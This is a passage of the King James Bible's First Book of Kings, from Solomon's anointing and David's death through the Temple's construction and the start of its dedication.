Jehoiada, and thy servant Solomon, hath he not called. + +1:27 Is this thing done by my lord the king, and thou hast not shewed +it unto thy servant, who should sit on the throne of my lord the king +after him? 1:28 Then king David answered and said, Call me Bathsheba. +And she came into the king's presence, and stood before the king. + +1:29 And the king sware, and said, As the LORD liveth, that hath +redeemed my soul out of all distress, 1:30 Even as I sware unto thee +by the LORD God of Israel, saying, Assuredly Solomon thy son shall +reign after me, and he shall sit upon my throne in my stead; even so +will I certainly do this day. + +1:31 Then Bathsheba bowed with her face to the earth, and did +reverence to the king, and said, Let my lord king David live for ever. + +1:32 And king David said, Call me Zadok the priest, and Nathan the +prophet, and Benaiah the son of Jehoiada. And they came before the +king. + +1:33 The king also said unto them, Take with you the servants of your +lord, and cause Solomon my son to ride upon mine own mule, and bring +him down to Gihon: 1:34 And let Zadok the priest and Nathan the +prophet anoint him there king over Israel: and blow ye with the +trumpet, and say, God save king Solomon. + +1:35 Then ye shall come up after him, that he may come and sit upon my +throne; for he shall be king in my stead: and I have appointed him to +be ruler over Israel and over Judah. + +1:36 And Benaiah the son of Jehoiada answered the king, and said, +Amen: the LORD God of my lord the king say so too. + +1:37 As the LORD hath been with my lord the king, even so be he with +Solomon, and make his throne greater than the throne of my lord king +David. + +1:38 So Zadok the priest, and Nathan the prophet, and Benaiah the son +of Jehoiada, and the Cherethites, and the Pelethites, went down, and +caused Solomon to ride upon king David's mule, and brought him to +Gihon. + +1:39 And Zadok the priest took an horn of oil out of the tabernacle, +and anointed Solomon. And they blew the trumpet; and all the people +said, God save king Solomon. + +1:40 And all the people came up after him, and the people piped with +pipes, and rejoiced with great joy, so that the earth rent with the +sound of them. + +1:41 And Adonijah and all the guests that were with him heard it as +they had made an end of eating. And when Joab heard the sound of the +trumpet, he said, Wherefore is this noise of the city being in an +uproar? 1:42 And while he yet spake, behold, Jonathan the son of +Abiathar the priest came; and Adonijah said unto him, Come in; for +thou art a valiant man, and bringest good tidings. + +1:43 And Jonathan answered and said to Adonijah, Verily our lord king +David hath made Solomon king. + +1:44 And the king hath sent with him Zadok the priest, and Nathan the +prophet, and Benaiah the son of Jehoiada, and the Cherethites, and the +Pelethites, and they have caused him to ride upon the king's mule: +1:45 And Zadok the priest and Nathan the prophet have anointed him +king in Gihon: and they are come up from thence rejoicing, so that the +city rang again. This is the noise that ye have heard. + +1:46 And also Solomon sitteth on the throne of the kingdom. + +1:47 And moreover the king's servants came to bless our lord king +David, saying, God make the name of Solomon better than thy name, and +make his throne greater than thy throne. And the king bowed himself +upon the bed. + +1:48 And also thus said the king, Blessed be the LORD God of Israel, +which hath given one to sit on my throne this day, mine eyes even +seeing it. + +1:49 And all the guests that were with Adonijah were afraid, and rose +up, and went every man his way. + +1:50 And Adonijah feared because of Solomon, and arose, and went, and +caught hold on the horns of the altar. + +1:51 And it was told Solomon, saying, Behold, Adonijah feareth king +Solomon: for, lo, he hath caught hold on the horns of the altar, +saying, Let king Solomon swear unto me today that he will not slay his +servant with the sword. + +1:52 And Solomon said, If he will shew himself a worthy man, there +shall not an hair of him fall to the earth: but if wickedness shall be +found in him, he shall die. + +1:53 So king Solomon sent, and they brought him down from the altar. +And he came and bowed himself to king Solomon: and Solomon said unto +him, Go to thine house. + +2:1 Now the days of David drew nigh that he should die; and he charged +Solomon his son, saying, 2:2 I go the way of all the earth: be thou +strong therefore, and shew thyself a man; 2:3 And keep the charge of +the LORD thy God, to walk in his ways, to keep his statutes, and his +commandments, and his judgments, and his testimonies, as it is written +in the law of Moses, that thou mayest prosper in all that thou doest, +and whithersoever thou turnest thyself: 2:4 That the LORD may continue +his word which he spake concerning me, saying, If thy children take +heed to their way, to walk before me in truth with all their heart and +with all their soul, there shall not fail thee (said he) a man on the +throne of Israel. + +2:5 Moreover thou knowest also what Joab the son of Zeruiah did to me, +and what he did to the two captains of the hosts of Israel, unto Abner +the son of Ner, and unto Amasa the son of Jether, whom he slew, and +shed the blood of war in peace, and put the blood of war upon his +girdle that was about his loins, and in his shoes that were on his +feet. + +2:6 Do therefore according to thy wisdom, and let not his hoar head go +down to the grave in peace. + +2:7 But shew kindness unto the sons of Barzillai the Gileadite, and +let them be of those that eat at thy table: for so they came to me +when I fled because of Absalom thy brother. + +2:8 And, behold, thou hast with thee Shimei the son of Gera, a +Benjamite of Bahurim, which cursed me with a grievous curse in the day +when I went to Mahanaim: but he came down to meet me at Jordan, and I +sware to him by the LORD, saying, I will not put thee to death with +the sword. + +2:9 Now therefore hold him not guiltless: for thou art a wise man, and +knowest what thou oughtest to do unto him; but his hoar head bring +thou down to the grave with blood. + +2:10 So David slept with his fathers, and was buried in the city of +David. + +2:11 And the days that David reigned over Israel were forty years: +seven years reigned he in Hebron, and thirty and three years reigned +he in Jerusalem. + +2:12 Then sat Solomon upon the throne of David his father; and his +kingdom was established greatly. + +2:13 And Adonijah the son of Haggith came to Bathsheba the mother of +Solomon. And she said, Comest thou peaceably? And he said, Peaceably. + +2:14 He said moreover, I have somewhat to say unto thee. And she said, +Say on. + +2:15 And he said, Thou knowest that the kingdom was mine, and that all +Israel set their faces on me, that I should reign: howbeit the kingdom +is turned about, and is become my brother's: for it was his from the +LORD. + +2:16 And now I ask one petition of thee, deny me not. And she said +unto him, Say on. + +2:17 And he said, Speak, I pray thee, unto Solomon the king, (for he +will not say thee nay,) that he give me Abishag the Shunammite to +wife. + +2:18 And Bathsheba said, Well; I will speak for thee unto the king. + +2:19 Bathsheba therefore went unto king Solomon, to speak unto him for +Adonijah. And the king rose up to meet her, and bowed himself unto +her, and sat down on his throne, and caused a seat to be set for the +king's mother; and she sat on his right hand. + +2:20 Then she said, I desire one small petition of thee; I pray thee, +say me not nay. And the king said unto her, Ask on, my mother: for I +will not say thee nay. + +2:21 And she said, Let Abishag the Shunammite be given to Adonijah thy +brother to wife. + +2:22 And king Solomon answered and said unto his mother, And why dost +thou ask Abishag the Shunammite for Adonijah? ask for him the kingdom +also; for he is mine elder brother; even for him, and for Abiathar the +priest, and for Joab the son of Zeruiah. + +2:23 Then king Solomon sware by the LORD, saying, God do so to me, and +more also, if Adonijah have not spoken this word against his own life. + +2:24 Now therefore, as the LORD liveth, which hath established me, and +set me on the throne of David my father, and who hath made me an +house, as he promised, Adonijah shall be put to death this day. + +2:25 And king Solomon sent by the hand of Benaiah the son of Jehoiada; +and he fell upon him that he died. + +2:26 And unto Abiathar the priest said the king, Get thee to Anathoth, +unto thine own fields; for thou art worthy of death: but I will not at +this time put thee to death, because thou barest the ark of the LORD +God before David my father, and because thou hast been afflicted in +all wherein my father was afflicted. + +2:27 So Solomon thrust out Abiathar from being priest unto the LORD; +that he might fulfil the word of the LORD, which he spake concerning +the house of Eli in Shiloh. + +2:28 Then tidings came to Joab: for Joab had turned after Adonijah, +though he turned not after Absalom. And Joab fled unto the tabernacle +of the LORD, and caught hold on the horns of the altar. + +2:29 And it was told king Solomon that Joab was fled unto the +tabernacle of the LORD; and, behold, he is by the altar. Then Solomon +sent Benaiah the son of Jehoiada, saying, Go, fall upon him. + +2:30 And Benaiah came to the tabernacle of the LORD, and said unto +him, Thus saith the king, Come forth. And he said, Nay; but I will die +here. And Benaiah brought the king word again, saying, Thus said Joab, +and thus he answered me. + +2:31 And the king said unto him, Do as he hath said, and fall upon +him, and bury him; that thou mayest take away the innocent blood, +which Joab shed, from me, and from the house of my father. + +2:32 And the LORD shall return his blood upon his own head, who fell +upon two men more righteous and better than he, and slew them with the +sword, my father David not knowing thereof, to wit, Abner the son of +Ner, captain of the host of Israel, and Amasa the son of Jether, +captain of the host of Judah. + +2:33 Their blood shall therefore return upon the head of Joab, and +upon the head of his seed for ever: but upon David, and upon his seed, +and upon his house, and upon his throne, shall there be peace for ever +from the LORD. + +2:34 So Benaiah the son of Jehoiada went up, and fell upon him, and +slew him: and he was buried in his own house in the wilderness. + +2:35 And the king put Benaiah the son of Jehoiada in his room over the +host: and Zadok the priest did the king put in the room of Abiathar. + +2:36 And the king sent and called for Shimei, and said unto him, Build +thee an house in Jerusalem, and dwell there, and go not forth thence +any whither. + +2:37 For it shall be, that on the day thou goest out, and passest over +the brook Kidron, thou shalt know for certain that thou shalt surely +die: thy blood shall be upon thine own head. + +2:38 And Shimei said unto the king, The saying is good: as my lord the +king hath said, so will thy servant do. And Shimei dwelt in Jerusalem +many days. + +2:39 And it came to pass at the end of three years, that two of the +servants of Shimei ran away unto Achish son of Maachah king of Gath. +And they told Shimei, saying, Behold, thy servants be in Gath. + +2:40 And Shimei arose, and saddled his ass, and went to Gath to Achish +to seek his servants: and Shimei went, and brought his servants from +Gath. + +2:41 And it was told Solomon that Shimei had gone from Jerusalem to +Gath, and was come again. + +2:42 And the king sent and called for Shimei, and said unto him, Did I +not make thee to swear by the LORD, and protested unto thee, saying, +Know for a certain, on the day thou goest out, and walkest abroad any +whither, that thou shalt surely die? and thou saidst unto me, The word +that I have heard is good. + +2:43 Why then hast thou not kept the oath of the LORD, and the +commandment that I have charged thee with? 2:44 The king said +moreover to Shimei, Thou knowest all the wickedness which thine heart +is privy to, that thou didst to David my father: therefore the LORD +shall return thy wickedness upon thine own head; 2:45 And king Solomon +shall be blessed, and the throne of David shall be established before +the LORD for ever. + +2:46 So the king commanded Benaiah the son of Jehoiada; which went +out, and fell upon him, that he died. And the kingdom was established +in the hand of Solomon. + +3:1 And Solomon made affinity with Pharaoh king of Egypt, and took +Pharaoh's daughter, and brought her into the city of David, until he +had made an end of building his own house, and the house of the LORD, +and the wall of Jerusalem round about. + +3:2 Only the people sacrificed in high places, because there was no +house built unto the name of the LORD, until those days. + +3:3 And Solomon loved the LORD, walking in the statutes of David his +father: only he sacrificed and burnt incense in high places. + +3:4 And the king went to Gibeon to sacrifice there; for that was the +great high place: a thousand burnt offerings did Solomon offer upon +that altar. + +3:5 In Gibeon the LORD appeared to Solomon in a dream by night: and +God said, Ask what I shall give thee. + +3:6 And Solomon said, Thou hast shewed unto thy servant David my +father great mercy, according as he walked before thee in truth, and +in righteousness, and in uprightness of heart with thee; and thou hast +kept for him this great kindness, that thou hast given him a son to +sit on his throne, as it is this day. + +3:7 And now, O LORD my God, thou hast made thy servant king instead of +David my father: and I am but a little child: I know not how to go out +or come in. + +3:8 And thy servant is in the midst of thy people which thou hast +chosen, a great people, that cannot be numbered nor counted for +multitude. + +3:9 Give therefore thy servant an understanding heart to judge thy +people, that I may discern between good and bad: for who is able to +judge this thy so great a people? 3:10 And the speech pleased the +LORD, that Solomon had asked this thing. + +3:11 And God said unto him, Because thou hast asked this thing, and +hast not asked for thyself long life; neither hast asked riches for +thyself, nor hast asked the life of thine enemies; but hast asked for +thyself understanding to discern judgment; 3:12 Behold, I have done +according to thy words: lo, I have given thee a wise and an +understanding heart; so that there was none like thee before thee, +neither after thee shall any arise like unto thee. + +3:13 And I have also given thee that which thou hast not asked, both +riches, and honour: so that there shall not be any among the kings +like unto thee all thy days. + +3:14 And if thou wilt walk in my ways, to keep my statutes and my +commandments, as thy father David did walk, then I will lengthen thy +days. + +3:15 And Solomon awoke; and, behold, it was a dream. And he came to +Jerusalem, and stood before the ark of the covenant of the LORD, and +offered up burnt offerings, and offered peace offerings, and made a +feast to all his servants. + +3:16 Then came there two women, that were harlots, unto the king, and +stood before him. + +3:17 And the one woman said, O my lord, I and this woman dwell in one +house; and I was delivered of a child with her in the house. + +3:18 And it came to pass the third day after that I was delivered, +that this woman was delivered also: and we were together; there was no +stranger with us in the house, save we two in the house. + +3:19 And this woman's child died in the night; because she overlaid +it. + +3:20 And she arose at midnight, and took my son from beside me, while +thine handmaid slept, and laid it in her bosom, and laid her dead +child in my bosom. + +3:21 And when I rose in the morning to give my child suck, behold, it +was dead: but when I had considered it in the morning, behold, it was +not my son, which I did bear. + +3:22 And the other woman said, Nay; but the living is my son, and the +dead is thy son. And this said, No; but the dead is thy son, and the +living is my son. Thus they spake before the king. + +3:23 Then said the king, The one saith, This is my son that liveth, +and thy son is the dead: and the other saith, Nay; but thy son is the +dead, and my son is the living. + +3:24 And the king said, Bring me a sword. And they brought a sword +before the king. + +3:25 And the king said, Divide the living child in two, and give half +to the one, and half to the other. + +3:26 Then spake the woman whose the living child was unto the king, +for her bowels yearned upon her son, and she said, O my lord, give her +the living child, and in no wise slay it. But the other said, Let it +be neither mine nor thine, but divide it. + +3:27 Then the king answered and said, Give her the living child, and +in no wise slay it: she is the mother thereof. + +3:28 And all Israel heard of the judgment which the king had judged; +and they feared the king: for they saw that the wisdom of God was in +him, to do judgment. + +4:1 So king Solomon was king over all Israel. + +4:2 And these were the princes which he had; Azariah the son of Zadok +the priest, 4:3 Elihoreph and Ahiah, the sons of Shisha, scribes; +Jehoshaphat the son of Ahilud, the recorder. + +4:4 And Benaiah the son of Jehoiada was over the host: and Zadok and +Abiathar were the priests: 4:5 And Azariah the son of Nathan was over +the officers: and Zabud the son of Nathan was principal officer, and +the king's friend: 4:6 And Ahishar was over the household: and +Adoniram the son of Abda was over the tribute. + +4:7 And Solomon had twelve officers over all Israel, which provided +victuals for the king and his household: each man his month in a year +made provision. + +4:8 And these are their names: The son of Hur, in mount Ephraim: 4:9 +The son of Dekar, in Makaz, and in Shaalbim, and Bethshemesh, and +Elonbethhanan: 4:10 The son of Hesed, in Aruboth; to him pertained +Sochoh, and all the land of Hepher: 4:11 The son of Abinadab, in all +the region of Dor; which had Taphath the daughter of Solomon to wife: +4:12 Baana the son of Ahilud; to him pertained Taanach and Megiddo, +and all Bethshean, which is by Zartanah beneath Jezreel, from +Bethshean to Abelmeholah, even unto the place that is beyond Jokneam: +4:13 The son of Geber, in Ramothgilead; to him pertained the towns of +Jair the son of Manasseh, which are in Gilead; to him also pertained +the region of Argob, which is in Bashan, threescore great cities with +walls and brasen bars: 4:14 Ahinadab the son of Iddo had Mahanaim: +4:15 Ahimaaz was in Naphtali; he also took Basmath the daughter of +Solomon to wife: 4:16 Baanah the son of Hushai was in Asher and in +Aloth: 4:17 Jehoshaphat the son of Paruah, in Issachar: 4:18 Shimei +the son of Elah, in Benjamin: 4:19 Geber the son of Uri was in the +country of Gilead, in the country of Sihon king of the Amorites, and +of Og king of Bashan; and he was the only officer which was in the +land. + +4:20 Judah and Israel were many, as the sand which is by the sea in +multitude, eating and drinking, and making merry. + +4:21 And Solomon reigned over all kingdoms from the river unto the +land of the Philistines, and unto the border of Egypt: they brought +presents, and served Solomon all the days of his life. + +4:22 And Solomon's provision for one day was thirty measures of fine +flour, and threescore measures of meal, 4:23 Ten fat oxen, and twenty +oxen out of the pastures, and an hundred sheep, beside harts, and +roebucks, and fallowdeer, and fatted fowl. + +4:24 For he had dominion over all the region on this side the river, +from Tiphsah even to Azzah, over all the kings on this side the river: +and he had peace on all sides round about him. + +4:25 And Judah and Israel dwelt safely, every man under his vine and +under his fig tree, from Dan even to Beersheba, all the days of +Solomon. + +4:26 And Solomon had forty thousand stalls of horses for his chariots, +and twelve thousand horsemen. + +4:27 And those officers provided victual for king Solomon, and for all +that came unto king Solomon's table, every man in his month: they +lacked nothing. + +4:28 Barley also and straw for the horses and dromedaries brought they +unto the place where the officers were, every man according to his +charge. + +4:29 And God gave Solomon wisdom and understanding exceeding much, and +largeness of heart, even as the sand that is on the sea shore. + +4:30 And Solomon's wisdom excelled the wisdom of all the children of +the east country, and all the wisdom of Egypt. + +4:31 For he was wiser than all men; than Ethan the Ezrahite, and +Heman, and Chalcol, and Darda, the sons of Mahol: and his fame was in +all nations round about. + +4:32 And he spake three thousand proverbs: and his songs were a +thousand and five. + +4:33 And he spake of trees, from the cedar tree that is in Lebanon +even unto the hyssop that springeth out of the wall: he spake also of +beasts, and of fowl, and of creeping things, and of fishes. + +4:34 And there came of all people to hear the wisdom of Solomon, from +all kings of the earth, which had heard of his wisdom. + +5:1 And Hiram king of Tyre sent his servants unto Solomon; for he had +heard that they had anointed him king in the room of his father: for +Hiram was ever a lover of David. + +5:2 And Solomon sent to Hiram, saying, 5:3 Thou knowest how that David +my father could not build an house unto the name of the LORD his God +for the wars which were about him on every side, until the LORD put +them under the soles of his feet. + +5:4 But now the LORD my God hath given me rest on every side, so that +there is neither adversary nor evil occurrent. + +5:5 And, behold, I purpose to build an house unto the name of the LORD +my God, as the LORD spake unto David my father, saying, Thy son, whom +I will set upon thy throne in thy room, he shall build an house unto +my name. + +5:6 Now therefore command thou that they hew me cedar trees out of +Lebanon; and my servants shall be with thy servants: and unto thee +will I give hire for thy servants according to all that thou shalt +appoint: for thou knowest that there is not among us any that can +skill to hew timber like unto the Sidonians. + +5:7 And it came to pass, when Hiram heard the words of Solomon, that +he rejoiced greatly, and said, Blessed be the LORD this day, which +hath given unto David a wise son over this great people. + +5:8 And Hiram sent to Solomon, saying, I have considered the things +which thou sentest to me for: and I will do all thy desire concerning +timber of cedar, and concerning timber of fir. + +5:9 My servants shall bring them down from Lebanon unto the sea: and I +will convey them by sea in floats unto the place that thou shalt +appoint me, and will cause them to be discharged there, and thou shalt +receive them: and thou shalt accomplish my desire, in giving food for +my household. + +5:10 So Hiram gave Solomon cedar trees and fir trees according to all +his desire. + +5:11 And Solomon gave Hiram twenty thousand measures of wheat for food +to his household, and twenty measures of pure oil: thus gave Solomon +to Hiram year by year. + +5:12 And the LORD gave Solomon wisdom, as he promised him: and there +was peace between Hiram and Solomon; and they two made a league +together. + +5:13 And king Solomon raised a levy out of all Israel; and the levy +was thirty thousand men. + +5:14 And he sent them to Lebanon, ten thousand a month by courses: a +month they were in Lebanon, and two months at home: and Adoniram was +over the levy. + +5:15 And Solomon had threescore and ten thousand that bare burdens, +and fourscore thousand hewers in the mountains; 5:16 Beside the chief +of Solomon's officers which were over the work, three thousand and +three hundred, which ruled over the people that wrought in the work. + +5:17 And the king commanded, and they brought great stones, costly +stones, and hewed stones, to lay the foundation of the house. + +5:18 And Solomon's builders and Hiram's builders did hew them, and the +stonesquarers: so they prepared timber and stones to build the house. + +6:1 And it came to pass in the four hundred and eightieth year after +the children of Israel were come out of the land of Egypt, in the +fourth year of Solomon's reign over Israel, in the month Zif, which is +the second month, that he began to build the house of the LORD. + +6:2 And the house which king Solomon built for the LORD, the length +thereof was threescore cubits, and the breadth thereof twenty cubits, +and the height thereof thirty cubits. + +6:3 And the porch before the temple of the house, twenty cubits was +the length thereof, according to the breadth of the house; and ten +cubits was the breadth thereof before the house. + +6:4 And for the house he made windows of narrow lights. + +6:5 And against the wall of the house he built chambers round about, +against the walls of the house round about, both of the temple and of +the oracle: and he made chambers round about: 6:6 The nethermost +chamber was five cubits broad, and the middle was six cubits broad, +and the third was seven cubits broad: for without in the wall of the +house he made narrowed rests round about, that the beams should not be +fastened in the walls of the house. + +6:7 And the house, when it was in building, was built of stone made +ready before it was brought thither: so that there was neither hammer +nor axe nor any tool of iron heard in the house, while it was in +building. + +6:8 The door for the middle chamber was in the right side of the +house: and they went up with winding stairs into the middle chamber, +and out of the middle into the third. + +6:9 So he built the house, and finished it; and covered the house with +beams and boards of cedar. + +6:10 And then he built chambers against all the house, five cubits +high: and they rested on the house with timber of cedar. + +6:11 And the word of the LORD came to Solomon, saying, 6:12 Concerning +this house which thou art in building, if thou wilt walk in my +statutes, and execute my judgments, and keep all my commandments to +walk in them; then will I perform my word with thee, which I spake +unto David thy father: 6:13 And I will dwell among the children of +Israel, and will not forsake my people Israel. + +6:14 So Solomon built the house, and finished it. + +6:15 And he built the walls of the house within with boards of cedar, +both the floor of the house, and the walls of the ceiling: and he +covered them on the inside with wood, and covered the floor of the +house with planks of fir. + +6:16 And he built twenty cubits on the sides of the house, both the +floor and the walls with boards of cedar: he even built them for it +within, even for the oracle, even for the most holy place. + +6:17 And the house, that is, the temple before it, was forty cubits +long. + +6:18 And the cedar of the house within was carved with knops and open +flowers: all was cedar; there was no stone seen. + +6:19 And the oracle he prepared in the house within, to set there the +ark of the covenant of the LORD. + +6:20 And the oracle in the forepart was twenty cubits in length, and +twenty cubits in breadth, and twenty cubits in the height thereof: and +he overlaid it with pure gold; and so covered the altar which was of +cedar. + +6:21 So Solomon overlaid the house within with pure gold: and he made +a partition by the chains of gold before the oracle; and he overlaid +it with gold. + +6:22 And the whole house he overlaid with gold, until he had finished +all the house: also the whole altar that was by the oracle he overlaid +with gold. + +6:23 And within the oracle he made two cherubims of olive tree, each +ten cubits high. + +6:24 And five cubits was the one wing of the cherub, and five cubits +the other wing of the cherub: from the uttermost part of the one wing +unto the uttermost part of the other were ten cubits. + +6:25 And the other cherub was ten cubits: both the cherubims were of +one measure and one size. + +6:26 The height of the one cherub was ten cubits, and so was it of the +other cherub. + +6:27 And he set the cherubims within the inner house: and they +stretched forth the wings of the cherubims, so that the wing of the +one touched the one wall, and the wing of the other cherub touched the +other wall; and their wings touched one another in the midst of the +house. + +6:28 And he overlaid the cherubims with gold. + +6:29 And he carved all the walls of the house round about with carved +figures of cherubims and palm trees and open flowers, within and +without. + +6:30 And the floors of the house he overlaid with gold, within and +without. + +6:31 And for the entering of the oracle he made doors of olive tree: +the lintel and side posts were a fifth part of the wall. + +6:32 The two doors also were of olive tree; and he carved upon them +carvings of cherubims and palm trees and open flowers, and overlaid +them with gold, and spread gold upon the cherubims, and upon the palm +trees. + +6:33 So also made he for the door of the temple posts of olive tree, a +fourth part of the wall. + +6:34 And the two doors were of fir tree: the two leaves of the one +door were folding, and the two leaves of the other door were folding. + +6:35 And he carved thereon cherubims and palm trees and open flowers: +and covered them with gold fitted upon the carved work. + +6:36 And he built the inner court with three rows of hewed stone, and +a row of cedar beams. + +6:37 In the fourth year was the foundation of the house of the LORD +laid, in the month Zif: 6:38 And in the eleventh year, in the month +Bul, which is the eighth month, was the house finished throughout all +the parts thereof, and according to all the fashion of it. So was he +seven years in building it. + +7:1 But Solomon was building his own house thirteen years, and he +finished all his house. + +7:2 He built also the house of the forest of Lebanon; the length +thereof was an hundred cubits, and the breadth thereof fifty cubits, +and the height thereof thirty cubits, upon four rows of cedar pillars, +with cedar beams upon the pillars. + +7:3 And it was covered with cedar above upon the beams, that lay on +forty five pillars, fifteen in a row. + +7:4 And there were windows in three rows, and light was against light +in three ranks. + +7:5 And all the doors and posts were square, with the windows: and +light was against light in three ranks. + +7:6 And he made a porch of pillars; the length thereof was fifty +cubits, and the breadth thereof thirty cubits: and the porch was +before them: and the other pillars and the thick beam were before +them. + +7:7 Then he made a porch for the throne where he might judge, even the +porch of judgment: and it was covered with cedar from one side of the +floor to the other. + +7:8 And his house where he dwelt had another court within the porch, +which was of the like work. Solomon made also an house for Pharaoh's +daughter, whom he had taken to wife, like unto this porch. + +7:9 All these were of costly stones, according to the measures of +hewed stones, sawed with saws, within and without, even from the +foundation unto the coping, and so on the outside toward the great +court. + +7:10 And the foundation was of costly stones, even great stones, +stones of ten cubits, and stones of eight cubits. + +7:11 And above were costly stones, after the measures of hewed stones, +and cedars. + +7:12 And the great court round about was with three rows of hewed +stones, and a row of cedar beams, both for the inner court of the +house of the LORD, and for the porch of the house. + +7:13 And king Solomon sent and fetched Hiram out of Tyre. + +7:14 He was a widow's son of the tribe of Naphtali, and his father was +a man of Tyre, a worker in brass: and he was filled with wisdom, and +understanding, and cunning to work all works in brass. And he came to +king Solomon, and wrought all his work. + +7:15 For he cast two pillars of brass, of eighteen cubits high apiece: +and a line of twelve cubits did compass either of them about. + +7:16 And he made two chapiters of molten brass, to set upon the tops +of the pillars: the height of the one chapiter was five cubits, and +the height of the other chapiter was five cubits: 7:17 And nets of +checker work, and wreaths of chain work, for the chapiters which were +upon the top of the pillars; seven for the one chapiter, and seven for +the other chapiter. + +7:18 And he made the pillars, and two rows round about upon the one +network, to cover the chapiters that were upon the top, with +pomegranates: and so did he for the other chapiter. + +7:19 And the chapiters that were upon the top of the pillars were of +lily work in the porch, four cubits. + +7:20 And the chapiters upon the two pillars had pomegranates also +above, over against the belly which was by the network: and the +pomegranates were two hundred in rows round about upon the other +chapiter. + +7:21 And he set up the pillars in the porch of the temple: and he set +up the right pillar, and called the name thereof Jachin: and he set up +the left pillar, and called the name thereof Boaz. + +7:22 And upon the top of the pillars was lily work: so was the work of +the pillars finished. + +7:23 And he made a molten sea, ten cubits from the one brim to the +other: it was round all about, and his height was five cubits: and a +line of thirty cubits did compass it round about. + +7:24 And under the brim of it round about there were knops compassing +it, ten in a cubit, compassing the sea round about: the knops were +cast in two rows, when it was cast. + +7:25 It stood upon twelve oxen, three looking toward the north, and +three looking toward the west, and three looking toward the south, and +three looking toward the east: and the sea was set above upon them, +and all their hinder parts were inward. + +7:26 And it was an hand breadth thick, and the brim thereof was +wrought like the brim of a cup, with flowers of lilies: it contained +two thousand baths. + +7:27 And he made ten bases of brass; four cubits was the length of one +base, and four cubits the breadth thereof, and three cubits the height +of it. + +7:28 And the work of the bases was on this manner: they had borders, +and the borders were between the ledges: 7:29 And on the borders that +were between the ledges were lions, oxen, and cherubims: and upon the +ledges there was a base above: and beneath the lions and oxen were +certain additions made of thin work. + +7:30 And every base had four brasen wheels, and plates of brass: and +the four corners thereof had undersetters: under the laver were +undersetters molten, at the side of every addition. + +7:31 And the mouth of it within the chapiter and above was a cubit: +but the mouth thereof was round after the work of the base, a cubit +and an half: and also upon the mouth of it were gravings with their +borders, foursquare, not round. + +7:32 And under the borders were four wheels; and the axletrees of the +wheels were joined to the base: and the height of a wheel was a cubit +and half a cubit. + +7:33 And the work of the wheels was like the work of a chariot wheel: +their axletrees, and their naves, and their felloes, and their spokes, +were all molten. + +7:34 And there were four undersetters to the four corners of one base: +and the undersetters were of the very base itself. + +7:35 And in the top of the base was there a round compass of half a +cubit high: and on the top of the base the ledges thereof and the +borders thereof were of the same. + +7:36 For on the plates of the ledges thereof, and on the borders +thereof, he graved cherubims, lions, and palm trees, according to the +proportion of every one, and additions round about. + +7:37 After this manner he made the ten bases: all of them had one +casting, one measure, and one size. + +7:38 Then made he ten lavers of brass: one laver contained forty +baths: and every laver was four cubits: and upon every one of the ten +bases one laver. + +7:39 And he put five bases on the right side of the house, and five on +the left side of the house: and he set the sea on the right side of +the house eastward over against the south. + +7:40 And Hiram made the lavers, and the shovels, and the basons. So +Hiram made an end of doing all the work that he made king Solomon for +the house of the LORD: 7:41 The two pillars, and the two bowls of the +chapiters that were on the top of the two pillars; and the two +networks, to cover the two bowls of the chapiters which were upon the +top of the pillars; 7:42 And four hundred pomegranates for the two +networks, even two rows of pomegranates for one network, to cover the +two bowls of the chapiters that were upon the pillars; 7:43 And the +ten bases, and ten lavers on the bases; 7:44 And one sea, and twelve +oxen under the sea; 7:45 And the pots, and the shovels, and the +basons: and all these vessels, which Hiram made to king Solomon for +the house of the LORD, were of bright brass. + +7:46 In the plain of Jordan did the king cast them, in the clay ground +between Succoth and Zarthan. + +7:47 And Solomon left all the vessels unweighed, because they were +exceeding many: neither was the weight of the brass found out. + +7:48 And Solomon made all the vessels that pertained unto the house of +the LORD: the altar of gold, and the table of gold, whereupon the +shewbread was, 7:49 And the candlesticks of pure gold, five on the +right side, and five on the left, before the oracle, with the flowers, +and the lamps, and the tongs of gold, 7:50 And the bowls, and the +snuffers, and the basons, and the spoons, and the censers of pure +gold; and the hinges of gold, both for the doors of the inner house, +the most holy place, and for the doors of the house, to wit, of the +temple. + +7:51 So was ended all the work that king Solomon made for the house of +the LORD. And Solomon brought in the things which David his father had +dedicated; even the silver, and the gold, and the vessels, did he put +among the treasures of the house of the LORD. + +8:1 Then Solomon assembled the elders of Israel, and all the heads of +the tribes, the chief of the fathers of the children of Israel, unto +king Solomon in Jerusalem, that they might bring up the ark of the +covenant of the LORD out of the city of David, which is Zion. + +8:2 And all the men of Israel assembled themselves unto king Solomon +at the feast in the month Ethanim, which is the seventh month. + +8:3 And all the elders of Israel came, and the priests took up the +ark. + +8:4 And they brought up the ark of the LORD, and the tabernacle of the +congregation, and all the holy vessels that were in the tabernacle, +even those did the priests and the Levites bring up. + +8:5 And king Solomon, and all the congregation of Israel, that were +assembled unto him, were with him before the ark, sacrificing sheep +and oxen, that could not be told nor numbered for multitude. + +8:6 And the priests brought in the ark of the covenant of the LORD +unto his place, into the oracle of the house, to the most holy place, +even under the wings of the cherubims. + +8:7 For the cherubims spread forth their two wings over the place of +the ark, and the cherubims covered the ark and the staves thereof +above. + +8:8 And they drew out the staves, that the ends of the staves were +seen out in the holy place before the oracle, and they were not seen +without: and there they are unto this day. + +8:9 There was nothing in the ark save the two tables of stone, which +Moses put there at Horeb, when the LORD made a covenant with the +children of Israel, when they came out of the land of Egypt. + +8:10 And it came to pass, when the priests were come out of the holy +place, that the cloud filled the house of the LORD, 8:11 So that the +priests could not stand to minister because of the cloud: for the +glory of the LORD had filled the house of the LORD. + +8:12 Then spake Solomon, The LORD said that he would dwell in the +thick darkness. + +8:13 I have surely built thee an house to dwell in, a settled place +for thee to abide in for ever. + +8:14 And the king turned his face about, and blessed all the +congregation of Israel: (and all the congregation of Israel stood;) +8:15 And he said, Blessed be the LORD God of Israel, which spake with +his mouth unto David my father, and hath with his hand fulfilled it, +saying, 8:16 Since the day that I brought forth my people Israel out +of Egypt, I chose no city out of all the tribes of Israel to build an +house, that my name might be therein; but I chose David to be over my +people Israel. + +8:17 And it was in the heart of David my father to build an house for +the name of the LORD God of Israel. + +8:18 And the LORD said unto David my father, Whereas it was in thine +heart to build an house unto my name, thou didst well that it was in +thine heart. + +8:19 Nevertheless thou shalt not build the house; but thy son that +shall come forth out of thy loins, he shall build the house unto my +name. + +8:20 And the LORD hath performed his word that he spake, and I am +risen up in the room of David my father, and sit on the throne of +Israel, as the LORD promised, and have built an house for the name of +the LORD God of Israel. + +8:21 And I have set there a place for the ark, wherein is the covenant +of the LORD, which he made with our fathers, when he brought them out +of the land of Egypt. + +8:22 And Solomon stood before the altar of the LORD in the presence of +all the congregation of Israel, and spread forth his hands toward +heaven: 8:23 And he said, LORD 